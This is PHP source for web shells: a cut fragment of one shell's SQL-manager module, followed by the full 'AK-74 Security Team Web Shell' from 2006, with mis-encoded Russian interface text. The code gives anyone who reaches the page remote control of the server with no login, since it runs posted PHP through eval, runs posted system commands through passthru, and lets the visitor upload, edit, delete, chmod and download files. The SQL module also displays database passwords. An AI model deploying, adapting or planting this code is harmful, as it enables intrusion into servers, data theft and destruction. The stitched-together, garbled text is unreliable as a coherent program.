echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
 $sql_surl = $surl."act=sql";
 if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 $sql_surl .= "&";
 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 if ($sql_server)
 {
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  $err = mysql_smarterror();
  @mysql_select_db($sql_db,$sql_sock);
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 }
 else {$sql_sock = false;}
 echo "<b>SQL Manager:</b><br>";
 if (!$sql_sock)
 {
  if (!$sql_server) {echo "NO CONNECTION";}
  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 }
 else
 {
  $sqlquicklaunch = array();
  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  echo "</center>";
 }
 echo "</td></tr><tr>";
 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 else
 {
  //Start left panel
  if (!empty($sql_db))
  {
   ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_tables($sql_db);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
    $c = 0;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
    if (!$c) {echo "No tables found in database.";}
   }
  }
  else
  {
   ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_dbs($sql_sock);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
    $c = 0;
    $dbs = "";
    while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
    echo "<option value=\"\">Databases (".$c.")</option>";
    echo $dbs;
   }
   ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>

<?
/*                              

.:: :[AK-74 Security Team Web Shell Beta Version]: ::.

- AK-74 Security Team Web Site: www.ak74-team.net
- Released on 01 June 2006.
- Copyright AK-74 Security Team, 2006.
- Thank you for using our script. 

*/
error_reporting(0); 
set_time_limit(0);
session_start();
$xshell = $SERVER_['PHP_SELF'];
class shell
{

 function getfiles()
 {
  $mas = array();
  $i = 0;
  if ($handle = opendir($_SESSION['currentdir']))
  {
   while (false !== ($file = readdir($handle)))
   if ($file != '..')
    if (!is_dir($_SESSION['currentdir'].'/'.$file))
	{
     $mas[$i]['filename'] = $file;
	 $mas[$i]['filesize'] = filesize($_SESSION['currentdir'].'/'.$file);
	 $mas[$i]['lastmod'] = date("H.i/d.m.Y", filemtime($_SESSION['currentdir'].'/'.$file));
	 $i++;
	}
   closedir($handle); 
  }
  return $mas;
 }

 function getdirs()
 {
  $mas = array();
  if ($handle = opendir($_SESSION['currentdir']))
  {
   while (false !== ($dir = readdir($handle)))
    if ($dir != '.' && is_dir($_SESSION['currentdir'].'/'.$dir))
     $mas[] = $dir;
   closedir($handle); 
  }
  return $mas;
 }

 function geturl()
 {
  if ($_SESSION['currentdir'].'/' == $_SERVER['DOCUMENT_ROOT'])
   return '/';
  if (strpos($_SESSION['currentdir'],str_replace('\\','/',$_SERVER['DOCUMENT_ROOT'])) === false)
   return '';
  return str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SESSION['currentdir'].'/');
 }

 
 function removefile()
 {
  if (file_exists($_GET['file']))
  {
   chmod($_GET['file'],0777);
   if (unlink($_GET['file']))
    return 'Ôàéë óäàëåí!';
   else
    return 'Ôàéë óäàëåí!';
  }
  else
   return 'Ôàéë íå íàéäåí!';
 }

  function removedir()
 {
   chmod($_GET['dir'],0777);
   if (rmdir($_GET['dir']))
    return 'Äèðåêòîðèÿ óäàëåíà!';
   else
    return 'Äèðåêòîðèÿ íå íàéäåía!';
 }
 
function getmicrotime()
{
 list($usec, $sec) = explode(" ",microtime()); 
 return ((float)$usec + (float)$sec); 
} 

function getpermission($path)
{

$perms = fileperms($path);

if (($perms & 0xC000) == 0xC000)
 $info = 's';
elseif (($perms & 0xA000) == 0xA000)
 $info = 'l';
elseif (($perms & 0x8000) == 0x8000)
 $info = '-';
elseif (($perms & 0x6000) == 0x6000)
 $info = 'b';
elseif (($perms & 0x4000) == 0x4000)
 $info = 'd';
elseif (($perms & 0x2000) == 0x2000)
 $info = 'c';
elseif (($perms & 0x1000) == 0x1000)
 $info = 'p';
else
 $info = 'u';

$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

return $info;
}

function getpermissionarray($path)
{
$res = array();
$perms = fileperms($path);

if (($perms & 0xC000) == 0xC000)
 $res[] = 's';
elseif (($perms & 0xA000) == 0xA000)
 $res[] = 'l';
elseif (($perms & 0x8000) == 0x8000)
 $res[] = '-'; 
elseif (($perms & 0x6000) == 0x6000)
 $res[] = 'b';
elseif (($perms & 0x4000) == 0x4000)
 $res[] = 'd';
elseif (($perms & 0x2000) == 0x2000)
 $res[] = 'c';
elseif (($perms & 0x1000) == 0x1000)
 $res[] = 'p';
else
 $res[] = 'u';

$res[] = (($perms & 0x0100) ? 'r' : '-');
$res[] = (($perms & 0x0080) ? 'w' : '-');
$res[] = (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

$res[] = (($perms & 0x0020) ? 'r' : '-');
$res[] = (($perms & 0x0010) ? 'w' : '-');
$res[] = (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

$res[] = (($perms & 0x0004) ? 'r' : '-');
$res[] = (($perms & 0x0002) ? 'w' : '-');
$res[] = (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

return $res;
}

function outputhead()
{
$res = '';
$res .= '<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"></head>
<body>
<STYLE>
A:link {
	COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:active {
	COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:visited {
	COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:hover {
	COLOR: #C10000; TEXT-DECORATION: underline
}
TD {
	FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica
}
BODY {
	FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc; 
}
</STYLE>
<div align="center"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">
 <tr>
  <td colspan=7 align="center">
   <b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: ::.</font></b>
  </td>
 </tr>';
return $res;
}

function outputmenu()
{
 $res = '';
 $res .= '<tr>
  <td colspan=7 align="center">
   <table border=0 cellspacing=0 cellpadding=0>
    <tr align="center">
	 <td width=150>
	  <a href="'.$xshell.'?act=info">Îáùàÿ èíôîðìàöèÿ</a>
	 </td>
	 <td width=150>
	  <a href="'.$xshell.'?act=filemanager">Ôàéëîâûé ìåíåäæåð</a>
	 </td>
	 <td width=80>
	  <a href="'.$xshell.'?act=phpinfo" target="_blank">phpinfo()</a>
	 </td>
	 <td width=110>
	  <a href="'.$xshell.'?act=execute">Âûïîëíèòü PHP</a>
	 </td>
	 <td width=150>
	  <a href="'.$xshell.'?act=exesys">Âûïîëíèòü êîìàíäó</a>
	 </td>
      </tr>
   </table>
  </td>
 </tr>';
 return $res;
}

function outputdown()
{
 $res = '';
 $res .= '</table></div></body></html>';
 return $res;
}

function outputfilemanager()
{
$res = ''; 
$number = 0;
$dirs = $this->getdirs();
$files = $this->getfiles();
sort($dirs);
sort($files);

$res .= '
 <tr>
  <td colspan=7 align="center">
  <font color=#830000> Òåêóùàÿ äèðåêòîðèÿ:</font><b><font color=#830000>'.$_SESSION['currentdir'].'</font></b>
  </td>
 </tr>
 <tr align="center">
  <td width=30>
   &nbsp;
  </td>
  <td width=330>
   &nbsp;
  </td>
  <td width=80><font color=#830000>Ðàçìåð,</font> <b><font color=#830000>áàéò</font></b>
   &nbsp;
  </td>
  <td width=120><font color=#830000>
   Ïîñëåäíåå èçìåíåíèå
   </font>
  </td>
  <td width=80 align="center"><font color=#830000>Ïðàâà äîñòóïà</font>
   &nbsp;
  </td>
  <td width=30>
   &nbsp;
  </td>
  <td width=30>
   &nbsp;
  </td>
 </tr>';

for ($i = 0; $i < count($dirs); $i++)
{
 $res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></td><td><b><a href="'.$xshell.'?act=filemanager&dir='.$dirs[$i].'">'.$dirs[$i].'</a></b></td><td>&nbsp;</td><td>&nbsp;</td><td>';
 $res .= '<a href="'.$xshell.'?act=chmod&file='.$_SESSION['currentdir'].'/'.$dirs[$i].'">'.($this->getpermission($_SESSION['currentdir'].'/'.$dirs[$i])).'</a>';
 $res .= '</td><td>&nbsp;</td><td><a href="'.$xshell.'?act=filemanager&act3=del&dir='.$_SESSION['currentdir'].'/'.$dirs[$i].'">delete</a></td></tr>';
}
for ($i = 0; $i < count($files); $i++)
{
 $res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></td>';
 $res .= '<td><a href="'.$xshell.'?act=down&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">'.$files[$i]['filename'].'</a></td>';
 $res .= '<td>&nbsp;&nbsp;'.$files[$i]['filesize'].'</td>';
 $res .= '<td align="center">'.$files[$i]['lastmod'].'</td>';
 $res .= '<td align="center"><a href="'.$xshell.'?act=chmod&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">'.($this->getpermission($_SESSION['currentdir'].'/'.$files[$i]['filename'])).'</a></td>';
 $res .= '<td align="center"><a href="'.$xshell.'?act=edit&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">edit</a></td>';
 $res .= '<td align="center"><a href="'.$xshell.'?act=filemanager&act2=del&file='.$_SESSION['currentdir'].'/'.$files[$i]['filename'].'">delete</a></td></tr>';
}
$res .= '</table><br>';

$res .= '<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">';
$res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="mkdir"><b><font color=#830000>Ñîçäàòü äèðåêòîðèþ:</b></font> </td><td><input type="text" name="dircreate"><input type="submit" value="Ñîçäàòü"></form></td></tr>';
$res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="createfile"><b><font color=#830000>Ñîçäàòü ôàéë:</b></font></td><td> <input type="text" name="filecreate"><input type="submit" value="Ñîçäàòü"></form></td></tr>';
$res .= '<tr><td align=center><form enctype="multipart/form-data" action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="uploadfile"><b><font color=#830000>Çàêà÷àòü ôàéë:</font></b></td><td><input type="file" name="filename" size="23"> <b><font color=#830000>è ïðèñâîèòü èìÿ</b></font></td><td> <input type="text" name="filename2"><input type="submit" value="Âïåð¸ä"></form></td></tr>';
$res .= '<table border=0 width="700" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">';
$res .= '<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
return $res;
}

function outputinfo()
{
 $res = '';
 $res .= '<tr>
  <td align="center" colspan=7>
   <b><font color=#83000>Îáùàÿ èíôîðìàöèÿ î ñåðâåðå</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="left"><br>
   <ol>
    <b><font color=#830000>1. OS - </font></b><font color=#830000>'.(php_uname()).'</font><br><br>
    <b><font color=#830000>2.  Âåðñèÿ PHP - </font></b><font color=#830000>'.(phpversion()).'</font><br><br>
    <b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - '.( get_current_user()).' <b><font color=#830000>|| User ID</font></b> - '.( getmyuid()).' <b><font color=#830000>|| Group ID</b></font> - '.( getmygid ()).'</font><br><br>
    <b><font color=#830000>4. Server Software - </font></b><font color=#830000>'.(getenv('SERVER_SOFTWARE')).'</font><br><br>
    <b><font color=#830000>5. Request Method - </font></b><font color=#830000>'.(getenv('REQUEST_METHOD')).'</font><br><br>
    <b><font color=#830000>6. Server IP - </font></b><font color=#830000>'.(getenv('SERVER_ADDR')).'</font><br><br>
    <b><font color=#830000>7. Your IP - </font></b><font color=#830000>'.(getenv('REMOTE_ADDR')).'</font><br><br>
	<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'.(getenv('HTTP_X_FORWARDED_FOR')).'</font><br><br>
</td>
 </tr>
 <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';

 return $res;
}

function chmodform($file)
{
$perms = $this->getpermissionarray($file);
$res = '';
$res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="chmod">'
       .'<input type="hidden" name="file" value="'.$file.'">
 <tr>
  <td align="center" colspan=7>
   <b><font color=#83000>Èçìåíåíèå ïðàâ äîñòóïà</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="center">
   <table border=1 cellspacing=0 cellpadding=0>';
$res .= '<tr align="center"><td>&nbsp;</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td><td>r</td><td>w</td><td>x</td></tr>';
$res .= '<tr><td><input type="hidden" name="perms0" value="'.$perms[0].'">'.$perms[0].'</td>';
for ($i = 1; $i <= 9; $i++)
 $res .= '<td><input type="checkbox" name="perms'.$i.'"'.(($perms[$i] != '-') ? ' checked' : '' ).'></td>';
$res .= '</tr><tr><td colspan=10 align="right"><input type="submit" value="Ñîõðàíèòü"></td></tr>';
$res .= '</table></td></tr></form>';
return $res;
}

function editfileform($file)
{
$fp = fopen($file,'r');
if (!$fp)
 return 'Ðåäàêòèðîâàíèå ôàéëà';
$res = '';
$res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="editfile">'
       .'<input type="hidden" name="file" value="'.$file.'"><tr>
  <td align="center" colspan=7>
   <b><font color=#83000>Ðåäàêòèðîâàíèå ôàéëà</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="center">
   <table border=1 cellspacing=0 cellpadding=0>';
 $res .= '<tr><td><textarea rows=25 cols=100 name="filecontent">'.(htmlspecialchars(fread($fp, filesize($file)))).'</textarea></td></tr>';
 $res .= '<tr><td align="right"><b><font color=#830000>Rename:</font></b> <INPUT TYPE=TEXT NAME=rename size=100 maxlength=9999999 value='.$file.'> - <input type="submit" value="Ðåäàêòèðîâàòü"></td></tr>';
 $res .= '</table></td></tr></form>';
 fclose($fp);
 return $res;
}

function executeform()
{
 $res = '';
 $res .= '<form action="'.$xshell.'?act=execute" method="post"><input type="hidden" name="action" value="execute">
 <tr>
  <td align="center" colspan=7>
   <b><font color=#83000>Âûïîëíåíèå PHP-êîäà<br> Îòêðûòèå è çàêðûòèå PHP êîäà ( &lt;? è ?> ) ïèñàòü íå íóæíî!</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="center">
   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=20 cols=80 name="phpcode">';
 $res .= '</textarea></td></tr><tr><td align="right"><input type="submit" value="Âûïîëíèòü"></td></tr></table></td></tr>
 <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
 return $res;
}

function execute()
{
echo "<hr>";
echo "<pre>";
eval(stripslashes($_POST['phpcode']));
echo "</pre>";
echo "<hr>";
 }

function exesysform()
{
 $res = '';
  $res .= '<form action="'.$xshell.'?act=exesys" method="post"><input type="hidden" name="action" value="exesys">
 <tr>
  <td align="center" colspan=7>
   <b><font color=#83000>Execute system commands!</font></b>
  </td>
 </tr>
 <tr>
  <td colspan=7 align="center">
   <table border=1 cellspacing=0 cellpadding=0><tr><td><textarea rows=5 cols=80 name="cmmd">';
 $res .= '</textarea></td></tr><tr><td align="right"><input type="submit" value="Âûïîëíèòü"></td></tr></table></td></tr>
 <table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net" target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
 return $res;
}

function exesys()
{
echo "<hr>";
echo "<pre>";
$result = passthru($_POST['cmmd']);
echo "</pre>";
echo "<hr>";
}

function editfile($file)
{
if (!empty($_POST['rename'])) {
rename ($_POST['file'], $_POST['rename']);
}
 $fp = fopen($_POST['rename'],'w');
 if (!$fp)
  return 0;
 fwrite($fp, stripslashes($_POST['filecontent']));
 fclose($fp);
 return 1;
}
 
function chmodfile($file)
{
 $res = 0;
 switch ($_POST['perms0'])
 {
  case 's':
   $res = $res | 0xC000;
  break;
  case 'l':
   $res = $res | 0xA000;
  break;
  case '-':
   $res = $res | 0x8000;
  break;
  case 'b':
   $res = $res | 0x6000;
  break;
  case 'd':
   $res = $res | 0x4000;
  break;
  case 'c':
   $res = $res | 0x2000;
  break;
  case 'p':
   $res = $res | 0x1000;
  break;
  case 'u':

  break;
 }
if (isset($_POST['perms1']))
 $res = $res | 0x0100;
if (isset($_POST['perms2']))
 $res = $res | 0x0080;
if (isset($_POST['perms3']))
 $res = $res | 0x0040;

if (isset($_POST['perms4']))
 $res = $res | 0x0020;
if (isset($_POST['perms5']))
 $res = $res | 0x0010;
if (isset($_POST['perms6']))
 $res = $res | 0x0008;

if (isset($_POST['perms7']))
 $res = $res | 0x0004;
if (isset($_POST['perms8']))
 $res = $res | 0x0002;
if (isset($_POST['perms9']))
 $res = $res | 0x0001;
echo substr(sprintf('%o', $res), -4);
return chmod($file,intval(substr(sprintf('%o', $res), -4),8));

}

function downloadfile($file)
{
header ("Content-Type: application/octet-stream");
header ("Content-Length: " . filesize($file));
header ("Content-Disposition: attachment; filename=$file");
readfile($file);
die();
}

function createdir()
{
 if (!empty($_POST['dircreate']))
  if (mkdir($_SESSION['currentdir'].'/'.$_POST['dircreate']))
   return 'Äèðåêòîðèÿ ñîçäàíà!';
   
 return 'Îøèáêà ïðè ñîçäàíèè äèðåêòîðèè';
}

function createfile()
{
 if (!empty($_POST['filecreate']))
 {
  if (file_exists($_SESSION['currentdir'].'/'.$_POST['filecreate']))
   return 'Ôàéë óæå ñóùåñòâóåò';
  $fp = fopen($_SESSION['currentdir'].'/'.$_POST['filecreate'],"w");
  if ($fp)
  {
   fclose($fp);
   return 'Ôàéë ñîçäàí!';
  }
 }
   
 return 'Îøèáêà ïðè ñîçäàíèè ôàéëà';
}

function uploadfile()
{
 if ($_FILES['filename']['error'] != 0)
  return '121212';
 $_POST['filename2'] = trim($_POST['filename2']);
 if (empty($_POST['filename2']))
  $_POST['filename2'] = $_FILES['filename']['name'];
 if (!copy($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2']))
  if (!move_uploaded_file($_FILES['filename']['tmp_name'],$_SESSION['currentdir'].'/'.$_POST['filename2']))
   return 'Çàêà÷êà ôàéëà íå âûïîëíåíà...';
 return 'Çàêà÷êà ôàéëà ïðîèçâåäåíà óñïåøíî!';
}

}
 $shell = new shell();
 $timestart = $shell->getmicrotime();
 $content = '';
 if (!isset($_SESSION['currentdir']))
  $_SESSION['currentdir'] = str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']);
 if (isset($_GET['dir']))
 {
  if (opendir(realpath($_SESSION['currentdir'].'/'.$_GET['dir'])))
   $_SESSION['currentdir'] = realpath($_SESSION['currentdir'].'/'.$_GET['dir']);
  Header("Location: $xshell?act=filemanager");
 }

 $_SESSION['currentdir'] = str_replace('\\','/',$_SESSION['currentdir']);
 if (substr($_SESSION['currentdir'],-1,1) == '/')
  $_SESSION['currentdir'] = substr($_SESSION['currentdir'],0,-1);

 switch ($_POST['action'])
 {
  case 'chmod':
   if($shell->chmodfile($_POST['file']))
    $content .= 'Ñìåíà ïðàâ ïðîèçîøëà óñïåøíî';
  break;
  
  case 'editfile':
   if ($shell->editfile($_POST['file']))
    $content .= 'Ðåäàêòèðîâàíèå ïðîèçîøëî óñïåøíî';
  break;
  
  case 'execute':
   $shell->execute();
  break;
  
  case 'exesys':
   $shell->exesys();
  break;
  
  case 'mkdir':
   $content .= $shell->createdir();
  break;
  
  case 'createfile':
   $content .= $shell->createfile();
  break;
  
  case 'uploadfile':
   $content .= $shell->uploadfile();
  break;
 }
 $content .= $shell->outputhead();
 $content .= $shell->outputmenu();
 
 switch ($_GET['act'])
 {
  case 'edit':
   $content .= $shell->editfileform($_GET['file']);
  break;
  
  case 'chmod':
   $content .= $shell->chmodform($_GET['file']);
  break;
  
  case 'down':
   $content .= $shell->downloadfile($_GET['file']);
  break;
  
  case 'filemanager':
  if ($_GET['act2'] == 'del')
    $content .= $shell->removefile();
    $content .= $shell->outputfilemanager();
  if ($_GET['act3'] == 'del')
    $content .= $shell->removedir();
  break;
  
  case 'phpinfo':
   phpinfo();
   die();
  break;
  
  case 'info':
   $content .= $shell->outputinfo();
  break;
  
  case 'execute':
   $content .= $shell->executeform();
  break;
  
  case 'exesys':
   $content .= $shell->exesysform();
  break;
 }
 
 $content .= $shell->outputdown();
 
 echo $content;
 echo '<center>Âðåìÿ ãåíåðàöèè: '.($shell->getmicrotime()-$timestart).'</center>';
?>